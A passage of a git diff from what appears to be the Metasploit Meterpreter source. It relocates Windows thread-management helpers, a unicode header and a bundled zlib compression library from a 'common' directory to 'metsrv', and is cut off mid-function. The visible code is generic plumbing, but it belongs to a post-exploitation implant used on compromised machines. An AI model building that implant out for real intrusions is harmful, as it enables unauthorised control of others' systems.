(thread == NULL) + { + return FALSE; + } + + if (ResumeThread(thread->handle) < 0) + { + return FALSE; + } + + return TRUE; +} + +/* + * Signals the thread to terminate. It is the responsibility of the thread to wait for and process this signal. + * Should be used to signal the thread to terminate. + */ +BOOL thread_sigterm(THREAD* thread) +{ + BOOL ret; + + if (thread == NULL) + { + return FALSE; + } + + ret = event_signal(thread->sigterm); + + return ret; +} + +/* + * Terminate a thread. Use with caution! better to signal your thread to terminate and wait for it to do so. + */ +BOOL thread_kill(THREAD* thread) +{ + if (thread == NULL) + { + return FALSE; + } + + if (TerminateThread(thread->handle, -1) == 0) + { + return FALSE; + } + + return TRUE; +} + +/* + * Blocks untill the thread has terminated. + */ +BOOL thread_join(THREAD* thread) +{ + if (thread == NULL) + { + return FALSE; + } + + if (WaitForSingleObject(thread->handle, INFINITE) == WAIT_OBJECT_0) + { + return TRUE; + } + + return FALSE; +} + +/* + * Destroys a previously created thread. Note, this does not terminate the thread. You must signal your + * thread to terminate and wait for it to do so (via thread_signal/thread_join). + */ +BOOL thread_destroy(THREAD* thread) +{ + if (thread == NULL) + { + return FALSE; + } + + event_destroy(thread->sigterm); + + CloseHandle(thread->handle); + + free(thread); + + return TRUE; +} diff --git a/c/meterpreter/source/common/thread.h b/c/meterpreter/source/metsrv/thread.h similarity index 68% rename from c/meterpreter/source/common/thread.h rename to c/meterpreter/source/metsrv/thread.h index efa1bca7..a741969c 100644 --- a/c/meterpreter/source/common/thread.h +++ b/c/meterpreter/source/metsrv/thread.h @@ -1,103 +1,69 @@ -#ifndef _METERPRETER_LIB_THREAD_H -#define _METERPRETER_LIB_THREAD_H - -/*****************************************************************************************/ -// Win32/64 specific definitions... - -typedef struct __UNICODE_STRING -{ - USHORT Length; - USHORT MaximumLength; - PWSTR Buffer; -} _UNICODE_STRING, * _PUNICODE_STRING; - -typedef struct __OBJECT_ATTRIBUTES -{ - ULONG Length; - HANDLE RootDirectory; - _PUNICODE_STRING ObjectName; - ULONG Attributes; - PVOID SecurityDescriptor; - PVOID SecurityQualityOfService; -} _OBJECT_ATTRIBUTES, * _POBJECT_ATTRIBUTES; - -typedef struct __CLIENT_ID -{ - PVOID UniqueProcess; - PVOID UniqueThread; -} _CLIENT_ID, * _PCLIENT_ID; - -typedef HANDLE (WINAPI * OPENTHREAD)( DWORD, BOOL, DWORD ); // kernel32!OpenThread - -typedef DWORD (WINAPI * NTOPENTHREAD)( PHANDLE, ACCESS_MASK, _POBJECT_ATTRIBUTES, _PCLIENT_ID ); // ntdll!NtOpenThread - -/*****************************************************************************************/ - -typedef struct _LOCK -{ - HANDLE handle; -} LOCK, * LPLOCK; - -typedef struct _EVENT -{ - HANDLE handle; -} EVENT, * LPEVENT; - -#define THREADCALL __stdcall - -typedef DWORD (THREADCALL * THREADFUNK)(struct _THREAD * thread); - -struct _THREAD -{ - DWORD id; - HANDLE handle; - EVENT * sigterm; - THREADFUNK funk; - LPVOID parameter1; - LPVOID parameter2; - LPVOID parameter3; -}; - -typedef struct _THREAD THREAD, * LPTHREAD; - -/*****************************************************************************************/ - -LOCK * lock_create( VOID ); - -VOID lock_destroy( LOCK * lock ); - -VOID lock_acquire( LOCK * lock ); - -VOID lock_release( LOCK * lock ); - -/*****************************************************************************************/ - -EVENT * event_create( VOID ); - -BOOL event_destroy( EVENT * event ); - -BOOL event_signal( EVENT * event ); - -BOOL event_poll( EVENT * event, DWORD timeout ); - -/*****************************************************************************************/ - -THREAD * thread_open( VOID ); - -THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 ); - -void disable_thread_error_reporting(void); - -BOOL thread_run( THREAD * thread ); - -BOOL thread_sigterm( THREAD * thread ); - -BOOL thread_kill( THREAD * thread ); - -BOOL thread_join( THREAD * thread ); - -BOOL thread_destroy( THREAD * thread ); - -/*****************************************************************************************/ - -#endif +#ifndef _METERPRETER_METSRV_THREAD_H +#define _METERPRETER_METSRV_THREAD_H + +#include "common_thread.h" + +/*****************************************************************************************/ +// Win32/64 specific definitions... + +typedef struct __OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + _PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} _OBJECT_ATTRIBUTES, * _POBJECT_ATTRIBUTES; + +typedef struct __CLIENT_ID +{ + PVOID UniqueProcess; + PVOID UniqueThread; +} _CLIENT_ID, * _PCLIENT_ID; + +typedef HANDLE (WINAPI * OPENTHREAD)( DWORD, BOOL, DWORD ); // kernel32!OpenThread + +typedef DWORD (WINAPI * NTOPENTHREAD)( PHANDLE, ACCESS_MASK, _POBJECT_ATTRIBUTES, _PCLIENT_ID ); // ntdll!NtOpenThread + +/*****************************************************************************************/ + +LOCK * lock_create( VOID ); + +VOID lock_destroy( LOCK * lock ); + +VOID lock_acquire( LOCK * lock ); + +VOID lock_release( LOCK * lock ); + +/*****************************************************************************************/ + +EVENT * event_create( VOID ); + +BOOL event_destroy( EVENT * event ); + +BOOL event_signal( EVENT * event ); + +BOOL event_poll( EVENT * event, DWORD timeout ); + +/*****************************************************************************************/ + +THREAD * thread_open( VOID ); + +THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 ); + +void disable_thread_error_reporting(void); + +BOOL thread_run( THREAD * thread ); + +BOOL thread_sigterm( THREAD * thread ); + +BOOL thread_kill( THREAD * thread ); + +BOOL thread_join( THREAD * thread ); + +BOOL thread_destroy( THREAD * thread ); + +/*****************************************************************************************/ + +#endif diff --git a/c/meterpreter/source/common/unicode.c b/c/meterpreter/source/metsrv/unicode.c similarity index 100% rename from c/meterpreter/source/common/unicode.c rename to c/meterpreter/source/metsrv/unicode.c diff --git a/c/meterpreter/source/common/unicode.h b/c/meterpreter/source/metsrv/unicode.h similarity index 68% rename from c/meterpreter/source/common/unicode.h rename to c/meterpreter/source/metsrv/unicode.h index 0821b408..d8dd7290 100644 --- a/c/meterpreter/source/common/unicode.h +++ b/c/meterpreter/source/metsrv/unicode.h @@ -3,8 +3,8 @@ * @brief Declarations for unicode conversion functions */ -#ifndef _METERPRETER_SOURCE_COMMON_UNICODE_H -#define _METERPRETER_SOURCE_COMMON_UNICODE_H +#ifndef _METERPRETER_METSRV_COMMON_UNICODE_H +#define _METERPRETER_METSRV_COMMON_UNICODE_H #include diff --git a/c/meterpreter/source/common/zlib/zlib.c b/c/meterpreter/source/metsrv/zlib.c similarity index 97% rename from c/meterpreter/source/common/zlib/zlib.c rename to c/meterpreter/source/metsrv/zlib.c index d8338e8a..156c6a1a 100644 --- a/c/meterpreter/source/common/zlib/zlib.c +++ b/c/meterpreter/source/metsrv/zlib.c @@ -1,5402 +1,5402 @@ -/* - * This file is derived from various .h and .c files from the zlib-1.0.4 - * distribution by Jean-loup Gailly and Mark Adler, with some additions - * by Paul Mackerras to aid in implementing Deflate compression and - * decompression for PPP packets. See zlib.h for conditions of - * distribution and use. - * - * Changes that have been made include: - * - added Z_PACKET_FLUSH (see zlib.h for details) - * - added inflateIncomp and deflateOutputPending - * - allow strm->next_out to be NULL, meaning discard the output - * - */ -#include "common.h" -/* - * ==FILEVERSION 971210== - * - * This marker is used by the Linux installation script to determine - * whether an up-to-date version of this file is already installed. - */ - -#define NO_DUMMY_DECL - -#ifndef MIN -/* Macros for min/max. */ -#define MIN(a,b) (((a)<(b))?(a):(b)) -#define MAX(a,b) (((a)>(b))?(a):(b)) -#endif - -/* +++ zutil.h */ -/*- - * zutil.h -- internal interface and configuration of the compression library - * Copyright (C) 1995-1996 Jean-loup Gailly. - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -/* From: zutil.h,v 1.16 1996/07/24 13:41:13 me Exp $ */ - -#ifndef _Z_UTIL_H -#define _Z_UTIL_H - -#include "zlib.h" - -#ifdef _KERNEL -/* Assume this is a *BSD or SVR4 kernel */ -#include -#include -#include -#include -#include -#include -# define HAVE_MEMCPY - -#else -#if defined(__KERNEL__) -/* Assume this is a Linux kernel */ -#include -#define HAVE_MEMCPY - -#else /* not kernel */ - -#include -#include - -#ifdef STDC -# include -# include -#endif -#endif /* __KERNEL__ */ -#endif /* _KERNEL */ - -#ifndef local -# define local static -#endif -/* compile with -Dlocal if your debugger can't find static symbols */ - -typedef unsigned char uch; -typedef uch FAR uchf; -typedef unsigned short ush; -typedef ush FAR ushf; -typedef unsigned long ulg; - -static const char *z_errmsg[10]; /* indexed by 2-zlib_error */ -/* (size given to avoid silly warnings with Visual C++) */ - -#define ERR_MSG(err) z_errmsg[Z_NEED_DICT-(err)] - -#define ERR_RETURN(strm,err) \ - return (strm->msg = (const char*)ERR_MSG(err), (err)) -/* To be used only when the state is known to be valid */ - - /* common constants */ - -#ifndef DEF_WBITS -# define DEF_WBITS MAX_WBITS -#endif -/* default windowBits for decompression. MAX_WBITS is for compression only */ - -#if MAX_MEM_LEVEL >= 8 -# define DEF_MEM_LEVEL 8 -#else -# define DEF_MEM_LEVEL MAX_MEM_LEVEL -#endif -/* default memLevel */ - -#define STORED_BLOCK 0 -#define STATIC_TREES 1 -#define DYN_TREES 2 -/* The three kinds of block type */ - -#define MIN_MATCH 3 -#define MAX_MATCH 258 -/* The minimum and maximum match lengths */ - -#define PRESET_DICT 0x20 /* preset dictionary flag in zlib header */ - - /* target dependencies */ - -#ifdef MSDOS -# define OS_CODE 0x00 -# ifdef __TURBOC__ -# include -# else /* MSC or DJGPP */ -# include -# endif -#endif - -#ifdef OS2 -# define OS_CODE 0x06 -#endif - -#ifdef WIN32 /* Window 95 & Windows NT */ -# define OS_CODE 0x0b -#endif - -#if defined(VAXC) || defined(VMS) -# define OS_CODE 0x02 -# define FOPEN(name, mode) \ - fopen((name), (mode), "mbc=60", "ctx=stm", "rfm=fix", "mrs=512") -#endif - -#ifdef AMIGA -# define OS_CODE 0x01 -#endif - -#if defined(ATARI) || defined(atarist) -# define OS_CODE 0x05 -#endif - -#ifdef MACOS -# define OS_CODE 0x07 -#endif - -#ifdef __50SERIES /* Prime/PRIMOS */ -# define OS_CODE 0x0F -#endif - -#ifdef TOPS20 -# define OS_CODE 0x0a -#endif - -#if defined(_BEOS_) || defined(RISCOS) -# define fdopen(fd,mode) NULL /* No fdopen() */ -#endif - - /* Common defaults */ - -#ifndef OS_CODE -# define OS_CODE 0x03 /* assume Unix */ -#endif - -#ifndef FOPEN -# define FOPEN(name, mode) fopen((name), (mode)) -#endif - - /* functions */ - -#ifdef HAVE_STRERROR - extern char *strerror OF((int)); -# define zstrerror(errnum) strerror(errnum) -#else -# define zstrerror(errnum) "" -#endif - -#if defined(pyr) -# define NO_MEMCPY -#endif -#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(_MSC_VER) - /* Use our own functions for small and medium model with MSC <= 5.0. - * You may have to use the same strategy for Borland C (untested). - */ -# define NO_MEMCPY -#endif -#if defined(STDC) && !defined(HAVE_MEMCPY) && !defined(NO_MEMCPY) -# define HAVE_MEMCPY -#endif -#ifdef HAVE_MEMCPY -# ifdef SMALL_MEDIUM /* MSDOS small or medium model */ -# define zmemcpy _fmemcpy -# define zmemcmp _fmemcmp -# define zmemzero(dest, len) _fmemset(dest, 0, len) -# else -# define zmemcpy memcpy -# define zmemcmp memcmp -# define zmemzero(dest, len) memset(dest, 0, len) -# endif -#else - extern void zmemcpy OF((Bytef* dest, Bytef* source, uInt len)); - extern int zmemcmp OF((Bytef* s1, Bytef* s2, uInt len)); - extern void zmemzero OF((Bytef* dest, uInt len)); -#endif - -/* Diagnostic functions */ -#ifdef DEBUG_ZLIB -# include -# ifndef verbose -# define verbose 0 -# endif - extern void z_error OF((char *m)); -# define Assert(cond,msg) {if(!(cond)) z_error(msg);} -# define Trace(x) fprintf x -# define Tracev(x) {if (verbose) fprintf x ;} -# define Tracevv(x) {if (verbose>1) fprintf x ;} -# define Tracec(c,x) {if (verbose && (c)) fprintf x ;} -# define Tracecv(c,x) {if (verbose>1 && (c)) fprintf x ;} -#else -# define Assert(cond,msg) -# define Trace(x) -# define Tracev(x) -# define Tracevv(x) -# define Tracec(c,x) -# define Tracecv(c,x) -#endif - - -typedef uLong (*check_func) OF((uLong check, const Bytef *buf, uInt len)); - -voidpf zcalloc OF((voidpf opaque, unsigned items, unsigned size)); -void zcfree OF((voidpf opaque, voidpf ptr)); - -#define ZALLOC(strm, items, size) \ - (*((strm)->zalloc))((strm)->opaque, (items), (size)) -#define ZFREE(strm, addr) (*((strm)->zfree))((strm)->opaque, (voidpf)(addr)) -#define TRY_FREE(s, p) {if (p) ZFREE(s, p);} - -#endif /* _Z_UTIL_H */ -/* --- zutil.h */ - -/* +++ deflate.h */ -/* deflate.h -- internal compression state - * Copyright (C) 1995-1996 Jean-loup Gailly - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -/* From: deflate.h,v 1.10 1996/07/02 12:41:00 me Exp $ */ - -#ifndef _DEFLATE_H -#define _DEFLATE_H - -/* #include "zutil.h" */ - -/* =========================================================================== - * Internal compression state. - */ - -#define LENGTH_CODES 29 -/* number of length codes, not counting the special END_BLOCK code */ - -#define LITERALS 256 -/* number of literal bytes 0..255 */ - -#define L_CODES (LITERALS+1+LENGTH_CODES) -/* number of Literal or Length codes, including the END_BLOCK code */ - -#define D_CODES 30 -/* number of distance codes */ - -#define BL_CODES 19 -/* number of codes used to transfer the bit lengths */ - -#define HEAP_SIZE (2*L_CODES+1) -/* maximum heap size */ - -#define MAX_BITS 15 -/* All codes must not exceed MAX_BITS bits */ - -#define INIT_STATE 42 -#define BUSY_STATE 113 -#define FINISH_STATE 666 -/* Stream status */ - - -/* Data structure describing a single value and its code string. */ -typedef struct ct_data_s { - union { - ush freq; /* frequency count */ - ush code; /* bit string */ - } fc; - union { - ush dad; /* father node in Huffman tree */ - ush len; /* length of bit string */ - } dl; -} FAR ct_data; - -#define Freq fc.freq -#define Code fc.code -#define Dad dl.dad -#define Len dl.len - -typedef struct static_tree_desc_s static_tree_desc; - -typedef struct tree_desc_s { - ct_data *dyn_tree; /* the dynamic tree */ - int max_code; /* largest code with non zero frequency */ - static_tree_desc *stat_desc; /* the corresponding static tree */ -} FAR tree_desc; - -typedef ush Pos; -typedef Pos FAR Posf; -typedef unsigned IPos; - -/* A Pos is an index in the character window. We use short instead of int to - * save space in the various tables. IPos is used only for parameter passing. - */ - -typedef struct deflate_state { - z_streamp strm; /* pointer back to this zlib stream */ - int status; /* as the name implies */ - Bytef *pending_buf; /* output still pending */ - ulg pending_buf_size; /* size of pending_buf */ - Bytef *pending_out; /* next pending byte to output to the stream */ - int pending; /* nb of bytes in the pending buffer */ - int noheader; /* suppress zlib header and adler32 */ - Byte data_type; /* UNKNOWN, BINARY or ASCII */ - Byte method; /* STORED (for zip only) or DEFLATED */ - int last_flush; /* value of flush param for previous deflate call */ - - /* used by deflate.c: */ - - uInt w_size; /* LZ77 window size (32K by default) */ - uInt w_bits; /* log2(w_size) (8..16) */ - uInt w_mask; /* w_size - 1 */ - - Bytef *window; - /* Sliding window. Input bytes are read into the second half of the window, - * and move to the first half later to keep a dictionary of at least wSize - * bytes. With this organization, matches are limited to a distance of - * wSize-MAX_MATCH bytes, but this ensures that IO is always - * performed with a length multiple of the block size. Also, it limits - * the window size to 64K, which is quite useful on MSDOS. - * To do: use the user input buffer as sliding window. - */ - - ulg window_size; - /* Actual size of window: 2*wSize, except when the user input buffer - * is directly used as sliding window. - */ - - Posf *prev; - /* Link to older string with same hash index. To limit the size of this - * array to 64K, this link is maintained only for the last 32K strings. - * An index in this array is thus a window index modulo 32K. - */ - - Posf *head; /* Heads of the hash chains or NIL. */ - - uInt ins_h; /* hash index of string to be inserted */ - uInt hash_size; /* number of elements in hash table */ - uInt hash_bits; /* log2(hash_size) */ - uInt hash_mask; /* hash_size-1 */ - - uInt hash_shift; - /* Number of bits by which ins_h must be shifted at each input - * step. It must be such that after MIN_MATCH steps, the oldest - * byte no longer takes part in the hash key, that is: - * hash_shift * MIN_MATCH >= hash_bits - */ - - long block_start; - /* Window position at the beginning of the current output block. Gets - * negative when the window is moved backwards. - */ - - uInt match_length; /* length of best match */ - IPos prev_match; /* previous match */ - int match_available; /* set if previous match exists */ - uInt strstart; /* start of string to insert */ - uInt match_start; /* start of matching string */ - uInt lookahead; /* number of valid bytes ahead in window */ - - uInt prev_length; - /* Length of the best match at previous step. Matches not greater than this - * are discarded. This is used in the lazy match evaluation. - */ - - uInt max_chain_length; - /* To speed up deflation, hash chains are never searched beyond this - * length. A higher limit improves compression ratio but degrades the - * speed. - */ - - uInt max_lazy_match; - /* Attempt to find a better match only when the current match is strictly - * smaller than this value. This mechanism is used only for compression - * levels >= 4. - */ -# define max_insert_length max_lazy_match - /* Insert new strings in the hash table only if the match length is not - * greater than this length. This saves time but degrades compression. - * max_insert_length is used only for compression levels <= 3. - */ - - int level; /* compression level (1..9) */ - int strategy; /* favor or force Huffman coding*/ - - uInt good_match; - /* Use a faster search when the previous match is longer than this */ - - int nice_match; /* Stop searching when current match exceeds this */ - - /* used by trees.c: */ - /* Didn't use ct_data typedef below to supress compiler warning */ - struct ct_data_s dyn_ltree[HEAP_SIZE]; /* literal and length tree */ - struct ct_data_s dyn_dtree[2*D_CODES+1]; /* distance tree */ - struct ct_data_s bl_tree[2*BL_CODES+1]; /* Huffman tree for bit lengths */ - - struct tree_desc_s l_desc; /* desc. for literal tree */ - struct tree_desc_s d_desc; /* desc. for distance tree */ - struct tree_desc_s bl_desc; /* desc. for bit length tree */ - - ush bl_count[MAX_BITS+1]; - /* number of codes at each bit length for an optimal tree */ - - int heap[2*L_CODES+1]; /* heap used to build the Huffman trees */ - int heap_len; /* number of elements in the heap */ - int heap_max; /* element of largest frequency */ - /* The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used. - * The same heap array is used to build all trees. - */ - - uch depth[2*L_CODES+1]; - /* Depth of each subtree used as tie breaker for trees of equal frequency - */ - - uchf *l_buf; /* buffer for literals or lengths */ - - uInt lit_bufsize; - /* Size of match buffer for literals/lengths. There are 4 reasons for - * limiting lit_bufsize to 64K: - * - frequencies can be kept in 16 bit counters - * - if compression is not successful for the first block, all input - * data is still in the window so we can still emit a stored block even - * when input comes from standard input. (This can also be done for - * all blocks if lit_bufsize is not greater than 32K.) - * - if compression is not successful for a file smaller than 64K, we can - * even emit a stored file instead of a stored block (saving 5 bytes). - * This is applicable only for zip (not gzip or zlib). - * - creating new Huffman trees less frequently may not provide fast - * adaptation to changes in the input data statistics. (Take for - * example a binary file with poorly compressible code followed by - * a highly compressible string table.) Smaller buffer sizes give - * fast adaptation but have of course the overhead of transmitting - * trees more frequently. - * - I can't count above 4 - */ - - uInt last_lit; /* running index in l_buf */ - - ushf *d_buf; - /* Buffer for distances. To simplify the code, d_buf and l_buf have - * the same number of elements. To use different lengths, an extra flag - * array would be necessary. - */ - - ulg opt_len; /* bit length of current block with optimal trees */ - ulg static_len; /* bit length of current block with static trees */ - ulg compressed_len; /* total bit length of compressed file */ - uInt matches; /* number of string matches in current block */ - int last_eob_len; /* bit length of EOB code for last block */ - -#ifdef DEBUG_ZLIB - ulg bits_sent; /* bit length of the compressed data */ -#endif - - ush bi_buf; - /* Output buffer. bits are inserted starting at the bottom (least - * significant bits). - */ - int bi_valid; - /* Number of valid bits in bi_buf. All bits above the last valid bit - * are always zero. - */ - -} FAR deflate_state; - -/* Output a byte on the stream. - * IN assertion: there is enough room in pending_buf. - */ -#define put_byte(s, c) {s->pending_buf[s->pending++] = (c);} - - -#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) -/* Minimum amount of lookahead, except at the end of the input file. - * See deflate.c for comments about the MIN_MATCH+1. - */ - -#define MAX_DIST(s) ((s)->w_size-MIN_LOOKAHEAD) -/* In order to simplify the code, particularly on 16 bit machines, match - * distances are limited to MAX_DIST instead of WSIZE. - */ - - /* in trees.c */ -void _tr_init OF((deflate_state *s)); -int _tr_tally OF((deflate_state *s, unsigned dist, unsigned lc)); -ulg _tr_flush_block OF((deflate_state *s, charf *buf, ulg stored_len, - int eof)); -void _tr_align OF((deflate_state *s)); -void _tr_stored_block OF((deflate_state *s, charf *buf, ulg stored_len, - int eof)); -void _tr_stored_type_only OF((deflate_state *)); - -#endif -/* --- deflate.h */ - -/* +++ deflate.c */ -/* deflate.c -- compress data using the deflation algorithm - * Copyright (C) 1995-1996 Jean-loup Gailly. - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* - * ALGORITHM - * - * The "deflation" process depends on being able to identify portions - * of the input text which are identical to earlier input (within a - * sliding window trailing behind the input currently being processed). - * - * The most straightforward technique turns out to be the fastest for - * most input files: try all possible matches and select the longest. - * The key feature of this algorithm is that insertions into the string - * dictionary are very simple and thus fast, and deletions are avoided - * completely. Insertions are performed at each input character, whereas - * string matches are performed only when the previous match ends. So it - * is preferable to spend more time in matches to allow very fast string - * insertions and avoid deletions. The matching algorithm for small - * strings is inspired from that of Rabin & Karp. A brute force approach - * is used to find longer strings when a small match has been found. - * A similar algorithm is used in comic (by Jan-Mark Wams) and freeze - * (by Leonid Broukhis). - * A previous version of this file used a more sophisticated algorithm - * (by Fiala and Greene) which is guaranteed to run in linear amortized - * time, but has a larger average cost, uses more memory and is patented. - * However the F&G algorithm may be faster for some highly redundant - * files if the parameter max_chain_length (described below) is too large. - * - * ACKNOWLEDGEMENTS - * - * The idea of lazy evaluation of matches is due to Jan-Mark Wams, and - * I found it in 'freeze' written by Leonid Broukhis. - * Thanks to many people for bug reports and testing. - * - * REFERENCES - * - * Deutsch, L.P.,"DEFLATE Compressed Data Format Specification". - * Available in ftp://ds.internic.net/rfc/rfc1951.txt - * - * A description of the Rabin and Karp algorithm is given in the book - * "Algorithms" by R. Sedgewick, Addison-Wesley, p252. - * - * Fiala,E.R., and Greene,D.H. - * Data Compression with Finite Windows, Comm.ACM, 32,4 (1989) 490-595 - * - */ - -/* From: deflate.c,v 1.15 1996/07/24 13:40:58 me Exp $ */ - -/* #include "deflate.h" */ - -char deflate_copyright[] = " deflate 1.0.4 Copyright 1995-1996 Jean-loup Gailly "; -/* - If you use the zlib library in a product, an acknowledgment is welcome - in the documentation of your product. If for some reason you cannot - include such an acknowledgment, I would appreciate that you keep this - copyright string in the executable of your product. - */ - -/* =========================================================================== - * Function prototypes. - */ -typedef enum { - need_more, /* block not completed, need more input or more output */ - block_done, /* block flush performed */ - finish_started, /* finish started, need only more output at next deflate */ - finish_done /* finish done, accept no more input or output */ -} block_state; - -typedef block_state (*compress_func) OF((deflate_state *s, int flush)); -/* Compression function. Returns the block state after the call. */ - -local void fill_window OF((deflate_state *s)); -local block_state deflate_stored OF((deflate_state *s, int flush)); -local block_state deflate_fast OF((deflate_state *s, int flush)); -local block_state deflate_slow OF((deflate_state *s, int flush)); -local void lm_init OF((deflate_state *s)); -local void putShortMSB OF((deflate_state *s, uInt b)); -local void flush_pending OF((z_streamp strm)); -local int read_buf OF((z_streamp strm, charf *buf, unsigned size)); -#ifdef ASMV - void match_init OF((void)); /* asm code initialization */ - uInt longest_match OF((deflate_state *s, IPos cur_match)); -#else -local uInt longest_match OF((deflate_state *s, IPos cur_match)); -#endif - -#ifdef DEBUG_ZLIB -local void check_match OF((deflate_state *s, IPos start, IPos match, - int length)); -#endif - -/* =========================================================================== - * Local data - */ - -#define NIL 0 -/* Tail of hash chains */ - -#ifndef TOO_FAR -# define TOO_FAR 4096 -#endif -/* Matches of length 3 are discarded if their distance exceeds TOO_FAR */ - -#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) -/* Minimum amount of lookahead, except at the end of the input file. - * See deflate.c for comments about the MIN_MATCH+1. - */ - -/* Values for max_lazy_match, good_match and max_chain_length, depending on - * the desired pack level (0..9). The values given below have been tuned to - * exclude worst case performance for pathological files. Better values may be - * found for specific files. - */ -typedef struct config_s { - ush good_length; /* reduce lazy search above this match length */ - ush max_lazy; /* do not perform lazy search above this match length */ - ush nice_length; /* quit search above this match length */ - ush max_chain; - compress_func func; -} config; - -local config configuration_table[10] = { -/* good lazy nice chain */ -/* 0 */ {0, 0, 0, 0, deflate_stored}, /* store only */ -/* 1 */ {4, 4, 8, 4, deflate_fast}, /* maximum speed, no lazy matches */ -/* 2 */ {4, 5, 16, 8, deflate_fast}, -/* 3 */ {4, 6, 32, 32, deflate_fast}, - -/* 4 */ {4, 4, 16, 16, deflate_slow}, /* lazy matches */ -/* 5 */ {8, 16, 32, 32, deflate_slow}, -/* 6 */ {8, 16, 128, 128, deflate_slow}, -/* 7 */ {8, 32, 128, 256, deflate_slow}, -/* 8 */ {32, 128, 258, 1024, deflate_slow}, -/* 9 */ {32, 258, 258, 4096, deflate_slow}}; /* maximum compression */ - -/* Note: the deflate() code requires max_lazy >= MIN_MATCH and max_chain >= 4 - * For deflate_fast() (levels <= 3) good is ignored and lazy has a different - * meaning. - */ - -#define EQUAL 0 -/* result of memcmp for equal strings */ - -#ifndef NO_DUMMY_DECL -struct static_tree_desc_s {int dummy;}; /* for buggy compilers */ -#endif - -/* =========================================================================== - * Update a hash value with the given input byte - * IN assertion: all calls to to UPDATE_HASH are made with consecutive - * input characters, so that a running hash key can be computed from the - * previous key instead of complete recalculation each time. - */ -#define UPDATE_HASH(s,h,c) (h = (((h)<hash_shift) ^ (c)) & s->hash_mask) - - -/* =========================================================================== - * Insert string str in the dictionary and set match_head to the previous head - * of the hash chain (the most recent string with same hash key). Return - * the previous length of the hash chain. - * IN assertion: all calls to to INSERT_STRING are made with consecutive - * input characters and the first MIN_MATCH bytes of str are valid - * (except for the last MIN_MATCH-1 bytes of the input file). - */ -#define INSERT_STRING(s, str, match_head) \ - (UPDATE_HASH(s, s->ins_h, s->window[(str) + (MIN_MATCH-1)]), \ - s->prev[(str) & s->w_mask] = match_head = s->head[s->ins_h], \ - s->head[s->ins_h] = (Pos)(str)) - -/* =========================================================================== - * Initialize the hash table (avoiding 64K overflow for 16 bit systems). - * prev[] will be initialized on the fly. - */ -#define CLEAR_HASH(s) \ - s->head[s->hash_size-1] = NIL; \ - zmemzero((charf *)s->head, (unsigned)(s->hash_size-1)*sizeof(*s->head)); - -/* ========================================================================= */ -int deflateInit_(strm, level, version, stream_size) - z_streamp strm; - int level; - const char *version; - int stream_size; -{ - return deflateInit2_(strm, level, Z_DEFLATED, MAX_WBITS, DEF_MEM_LEVEL, - Z_DEFAULT_STRATEGY, version, stream_size); - /* To do: ignore strm->next_in if we use it as window */ -} - -/* ========================================================================= */ -int deflateInit2_(z_streamp strm, int level, int method, int windowBits, - int memLevel, int strategy, const char *version, int stream_size) -{ - deflate_state *s; - int noheader = 0; - static char* my_version = ZLIB_VERSION; - - ushf *overlay; - /* We overlay pending_buf and d_buf+l_buf. This works since the average - * output size for (length,distance) codes is <= 24 bits. - */ - - if (version == Z_NULL || version[0] != my_version[0] || - stream_size != sizeof(z_stream)) { - return Z_VERSION_ERROR; - } - if (strm == Z_NULL) return Z_STREAM_ERROR; - - strm->msg = Z_NULL; -#ifndef NO_ZCFUNCS - if (strm->zalloc == Z_NULL) { - strm->zalloc = zcalloc; - strm->opaque = (voidpf)0; - } - if (strm->zfree == Z_NULL) strm->zfree = zcfree; -#endif - - if (level == Z_DEFAULT_COMPRESSION) level = 6; - - if (windowBits < 0) { /* undocumented feature: suppress zlib header */ - noheader = 1; - windowBits = -windowBits; - } - if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED || - windowBits < 9 || windowBits > 15 || level < 0 || level > 9 || - strategy < 0 || strategy > Z_HUFFMAN_ONLY) { - return Z_STREAM_ERROR; - } - s = (deflate_state *) ZALLOC(strm, 1, sizeof(deflate_state)); - if (s == Z_NULL) return Z_MEM_ERROR; - strm->state = (struct internal_state FAR *)s; - s->strm = strm; - - s->noheader = noheader; - s->w_bits = windowBits; - s->w_size = 1 << s->w_bits; - s->w_mask = s->w_size - 1; - - s->hash_bits = memLevel + 7; - s->hash_size = 1 << s->hash_bits; - s->hash_mask = s->hash_size - 1; - s->hash_shift = ((s->hash_bits+MIN_MATCH-1)/MIN_MATCH); - - s->window = (Bytef *) ZALLOC(strm, s->w_size, 2*sizeof(Byte)); - s->prev = (Posf *) ZALLOC(strm, s->w_size, sizeof(Pos)); - s->head = (Posf *) ZALLOC(strm, s->hash_size, sizeof(Pos)); - - s->lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */ - - overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2); - s->pending_buf = (uchf *) overlay; - s->pending_buf_size = (ulg)s->lit_bufsize * (sizeof(ush)+2L); - - if (s->window == Z_NULL || s->prev == Z_NULL || s->head == Z_NULL || - s->pending_buf == Z_NULL) { - strm->msg = (const char*)ERR_MSG(Z_MEM_ERROR); - deflateEnd (strm); - return Z_MEM_ERROR; - } - s->d_buf = overlay + s->lit_bufsize/sizeof(ush); - s->l_buf = s->pending_buf + (1+sizeof(ush))*s->lit_bufsize; - - s->level = level; - s->strategy = strategy; - s->method = (Byte)method; - - return deflateReset(strm); -} - -/* ========================================================================= */ -int deflateSetDictionary(z_streamp strm, const Bytef *dictionary, uInt dictLength) -{ - deflate_state *s; - uInt length = dictLength; - uInt n; - IPos hash_head = 0; - - if (strm == Z_NULL || strm->state == Z_NULL || dictionary == Z_NULL) - return Z_STREAM_ERROR; - - s = (deflate_state *) strm->state; - if (s->status != INIT_STATE) return Z_STREAM_ERROR; - - strm->adler = adler32(strm->adler, dictionary, dictLength); - - if (length < MIN_MATCH) return 